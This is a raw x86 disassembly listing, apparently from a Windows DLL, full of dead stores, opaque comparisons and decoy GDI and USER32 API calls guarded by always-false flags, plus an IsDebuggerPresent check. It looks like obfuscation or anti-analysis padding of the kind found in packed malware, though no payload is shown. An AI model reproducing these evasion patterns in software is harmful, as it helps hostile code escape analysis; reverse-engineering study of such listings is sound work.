mov dword [ebp - 0x75c], ecx
mov dword [ebp - 0x758], ecx
mov dword [ebp - 0x754], ecx
mov dword [ebp - 0x750], ecx
mov dword [ebp - 0x14], 0x8e487928
mov dword [ebp - 0x14], eax
jmp 0x1002a1c9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5f4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002a1bc
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x18], 9
mov ecx, dword [ebp - 0x18]
cmp edx, eax
sbb eax, eax
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [ebp - 0x18]
jle 0x1002a200
cmp dword [ebp - 0x18], eax
je 0x1002a200
mov eax, ebx
mov edx, dword [ebp - 0x18]
add edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, edi
setne cl
sub eax, ecx
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x5f0], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5f0]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002a242
cmp dword [ebp - 0x5f0], eax
je 0x1002a242
mov eax, ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x758], 5
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002a27b
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002a276
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x1002a265
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x1c], 0x3d4e
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x24], 0x2d62
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0xd57d38c4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
jmp 0x1002a2b2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x80c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002a2a5
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jge 0x1002a2c5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xbec5ec62
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
imul eax, dword [ebp - 0x18], 0x6f9a
test eax, eax
je 0x1002a343
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
push 3
setne cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
pop eax
setne dl
sub eax, edx
mov dword [ebp - 0x18], eax
je 0x1002a338
xor eax, eax
mov dword [ebp - 0x80c], ebx
cmp dword [ebp - 0x38], eax
je 0x1002a340
mov eax, dword [ebp - 0x1c]
jmp 0x1002a340
xor eax, eax
mov dword [ebp - 0x80c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
push 4
pop eax
cmp dword [ebp - 0x1c], eax
jne 0x1002a358
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002a35a
mov eax, ebx
mov dword [ebp - 0x34], eax
push 5
pop eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002a385
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xefc], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002a36d
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002a3a8
xor ebx, ebx
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002a39e
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
dec dword [ebp - 0x14]
jns 0x1002a38f
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002a3d3
push 0x938
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002a3f5
push 0x8ab
push 0x1549
push eax
push 0x151d
push eax
call dword [sym.imp.USER32.dll_GetMenuStringW]
xor eax, eax
cmp byte [ebp - 0xd], 0
je 0x1002a5de
mov dword [ebp - 0x18], ebx
push 3
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1002a42b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xaec], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1002a413
xor eax, eax
mov dword [ebp - 0x20], eax
or edx, 0xffffffff
cmp dword [ebp - 0x20], ecx
jge 0x1002a44a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x71c], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002a436
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1002a466
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb70], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1002a452
xor eax, eax
mov dword [ebp - 0x18], 0x18
cmp dword [ebp - 0x18], 0xffffffe9
jg 0x1002a59b
jmp 0x1002a47b
xor eax, eax
mov dword [ebp - 0x24], 0x3244d513
mov dword [ebp - 0x34], 0x73063d62
mov dword [ebp - 0x40], 0xd09e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002a4ac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb14], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002a498
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002a4ca
push 0x14a9
push 0x22b4
push 0xdaf
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x71c], eax
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x40]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ebx, ebx
inc edx
cmp edx, 0xfff8
setne bl
xor ecx, ecx
cmp ebx, eax
setle cl
imul ecx, dword [ebp - 0x24]
cmp ecx, 0x167c28ca
je 0x1002a511
mov eax, dword [ebp - 0x71c]
mov eax, dword [ebp - 0xb14]
xor ebx, ebx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne bl
mov dword [ebp - 0xb14], ebx
mov dword [ebp - 0xb70], ebx
neg ebx
mov eax, dword [ebp - 0x24]
neg ebx
mov dword [ebp - 0xaec], eax
mov edx, dword [ebp - 0x1c]
sbb ebx, ebx
neg ebx
xor ecx, ecx
imul edx, ebx
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setle cl
xor eax, eax
inc ecx
je 0x1002a568
cmp dword [ebp - 0x71c], eax
je 0x1002a568
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x1002a56b
xor ebx, ebx
inc ebx
mov dword [ebp - 0x38], eax
xor edx, edx
mov ecx, dword [ebp - 0x71c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
push 3
setle cl
mov dword [ebp - 0x24], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
pop ecx
jle 0x1002a479
mov dword [ebp - 0x1c], 0xfffffff2
cmp dword [ebp - 0x1c], 0xffffffeb
jg 0x1002a5d1
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002a5c3
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002a5c0
call dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x1002a5af
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffeb
jle 0x1002a5aa
xor eax, eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
or esi, 0xffffffff
inc dword [ebp - 0x44]
push 0
pop eax
push 0xfffffffffffffffe
pop edx
cmp dword [ebp - 0x44], edi
jle 0x1002a063
mov esi, dword [sym.imp.GDI32.dll_GetDIBits]
mov edi, dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [ebp - 0x20], 0xfffffff6
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002a63b
push 0xf12
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1d
jle 0x1002a85d
or edi, 0xffffffff
mov dword [ebp - 0x40], 0x36be856d
mov dword [ebp - 0x2c], 0x60813c27
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002a67e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x114], 0x4ad3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002a665
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002a6af
push 0x74e
push 0x22d1
push 0x1593
push 0x131f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
inc dword [ebp - 0x110]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setle dl
test edx, edx
jns 0x1002a6cf
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [ebp - 0x2c]
cmp edx, 0x45487972
setge al
xor ecx, ecx
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
inc eax
cmp eax, 0x298c245e
setl cl
add ecx, dword [ebp - 0x2c]
cmp ecx, 0xddbb
jl 0x1002a757
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x110], eax
je 0x1002a759
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
sub ecx, eax
add ecx, 9
je 0x1002a7ff
push 3
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0xa3a207b8
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x1002a847
mov eax, dword [ebp - 0x1e8]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
imul ecx, dword [ebp + eax*4 - 0x1ec], 0xfffe
mov eax, dword [ebp - 0x2c]
sub ecx, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x2c]
cmp ecx, 0x79ab6733
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1ec]
cmp eax, edx
setle cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1002a791
jmp 0x1002a847
mov dword [ebp - 0x1c], 3
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x1002a847
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 0xc2e3979d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ec], ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
jns 0x1002a80d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
push 0
pop eax
jg 0x1002a64b
mov edi, dword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [ebp - 0x38], 0x53b26bdd
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xa
jl 0x1002a91f
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002a8a1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa08], 0xfb6318d5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002a888
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x1002a909
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002a8d1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa08], 0xd00585b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002a8b8
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002a901
push 0x1bf4
push eax
push eax
push 0x43c
push 0xb15
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002a8ac
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xa
push 0
pop eax
jge 0x1002a878
mov dword [ebp - 0x38], 0x53b26bdd
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xa
jl 0x1002a9e1
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002a963
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa20], 0xfb6318d5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002a94a
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x1002a9cb
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002a993
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa20], 0xd00585b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002a97a
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002a9c3
push 0x1bf4
push eax
push eax
push 0x43c
push 0xb15
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002a96e
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xa
push 0
pop eax
jge 0x1002a93a
mov dword [ebp - 0x1c], 0x860b4ffb
mov dword [ebp - 0x1c], 0xfffffff9
push 4
mov dword [ebp - 0x28], 0xaab39e22
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002aa1e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x464], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002aa05
xor eax, eax
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x1002aafa
mov dword [ebp - 0x40], 0xc9b780f8
mov dword [ebp - 0x24], 0x1d97
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002aa63
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb90], 0x1448112d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002aa4b
xor eax, eax
cmp dword [ebp - 0x464], eax
jne 0x1002aac3
dec dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xb88], ecx
mov eax, dword [ebp - 0x45c]
add eax, ecx
je 0x1002aa8f
xor eax, eax
cmp dword [ebp - 0xb88], eax
je 0x1002aa91
mov ecx, ebx
jmp 0x1002aa93
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x464]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 2
jne 0x1002aaba
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002aac0
mov eax, dword [ebp - 0xb88]
push 4
pop ecx
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0x464]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x464]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add eax, 0x37d08bb2
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
pop eax
jns 0x1002aa2e
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002ab7f
xor ebx, ebx
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ebx
jl 0x1002ab61
mov dword [ebp - 0x38], ebx
jmp 0x1002ab4c
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002ab49
push ebx
push 0x16c5
push ebx
push ebx
push 0x28e
push 0x1423
push 0x33a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x1002ab16
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x464]
dec dword [ebp - 0x28]
jns 0x1002ab11
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002ab71
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002ab05
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x20], 0xfffffff6
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x200], ecx
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002abbe
push 0xf12
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1d
jle 0x1002ade0
or esi, 0xffffffff
mov dword [ebp - 0x40], 0x36be856d
mov dword [ebp - 0x2c], 0x60813c27
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ac01
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13c], 0x4ad3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002abe8
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ac32
push 0x74e
push 0x22d1
push 0x1593
push 0x131f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
inc dword [ebp - 0x138]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setle dl
test edx, edx
jns 0x1002ac52
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [ebp - 0x2c]
cmp edx, 0x45487972
setge al
xor ecx, ecx
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
inc eax
cmp eax, 0x298c245e
setl cl
add ecx, dword [ebp - 0x2c]
cmp ecx, 0xddbb
jl 0x1002acda
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x138], eax
je 0x1002acdc
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
sub ecx, eax
add ecx, 9
je 0x1002ad82
push 3
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0xa3a207b8
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x1002adca
mov eax, dword [ebp - 0x1fc]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x200]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x200]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
imul ecx, dword [ebp + eax*4 - 0x200], 0xfffe
mov eax, dword [ebp - 0x2c]
sub ecx, dword [ebp + eax*4 - 0x200]
mov eax, dword [ebp - 0x2c]
cmp ecx, 0x79ab6733
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x200]
cmp eax, edx
setle cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1002ad14
jmp 0x1002adca
mov dword [ebp - 0x1c], 3
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x1002adca
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 0xc2e3979d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x200]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x200]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x200], ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
jns 0x1002ad90
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
push 0
pop eax
jg 0x1002abce
mov esi, dword [sym.imp.GDI32.dll_GetDIBits]
mov dword [ebp - 0x20], 0xfffffff6
push 0xfffffffffffffffb
pop ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x208], ecx
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ae1f
push 0xf12
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1d
jle 0x1002b041
or esi, 0xffffffff
mov dword [ebp - 0x40], 0x36be856d
mov dword [ebp - 0x2c], 0x60813c27
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ae62
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x130], 0x4ad3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ae49
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ae93
push 0x74e
push 0x22d1
push 0x1593
push 0x131f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
inc dword [ebp - 0x12c]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setle dl
test edx, edx
jns 0x1002aeb3
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [ebp - 0x2c]
cmp edx, 0x45487972
setge al
xor ecx, ecx
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
inc eax
cmp eax, 0x298c245e
setl cl
add ecx, dword [ebp - 0x2c]
cmp ecx, 0xddbb
jl 0x1002af3b
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x12c], eax
je 0x1002af3d
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
sub ecx, eax
add ecx, 9
je 0x1002afe3
push 3
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0xa3a207b8
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x1002b02b
mov eax, dword [ebp - 0x210]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
